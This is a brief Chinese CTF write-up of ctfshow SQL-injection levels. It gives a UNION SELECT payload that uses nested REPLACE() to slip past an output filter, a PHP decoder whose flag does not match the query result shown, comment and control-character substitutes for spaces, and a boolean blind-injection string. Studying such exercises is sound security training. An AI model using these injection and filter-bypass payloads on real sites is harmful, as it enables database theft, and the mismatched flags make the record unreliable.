简单的或相似的就不记录了~~
174
检测返回结果是否有flag和数字,可以把用replace
数字替换成其他的,比如0替换成numa,1替换成numb,所以payload为
1' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','xiaolong'),'0','numa'),'1','numb'),'2','numc'),'3','numd'),'4','nume'),'5','numf'),'6','numg'),'7','numh'),'8','numi'),'9','numj') from ctfshow_user4 --
查询得到
flag{aanumiaanumdnumenuma-numdnumanumanumd-numenumbnumenumd-acnumaf-numdnumfnumbnumfcnumcnumheadnumda}
然后再把flag里的内容替换回来
<?php
$flag='flaxiaolong{numbnumdnumjanumfafnuma-enumjnumhnumj-numenumjeb-acee-numfbnumanumbdnumenumfnuminumbnumcfd}';
$flag=str_replace('numa','0',$flag);
$flag=str_replace('numb','1',$flag);
$flag=str_replace('numc','2',$flag);
$flag=str_replace('numd','3',$flag);
$flag=str_replace('nume','4',$flag);
$flag=str_replace('numf','5',$flag);
$flag=str_replace('numg','6',$flag);
$flag=str_replace('numh','7',$flag);
$flag=str_replace('numi','8',$flag);
$flag=str_replace('numj','9',$flag);
echo $flag;
?>
flag{139a5af0-e979-49eb-acee-5b01d45812fd}
177-179
过滤了空格,可以用以下方式代替空格
/**/ 内联注释
%0a 换行
%0b 垂直定位符
%0c 换页符
%09 tab
180-182
id='or(mid(username,1,1)='f')and'1'='1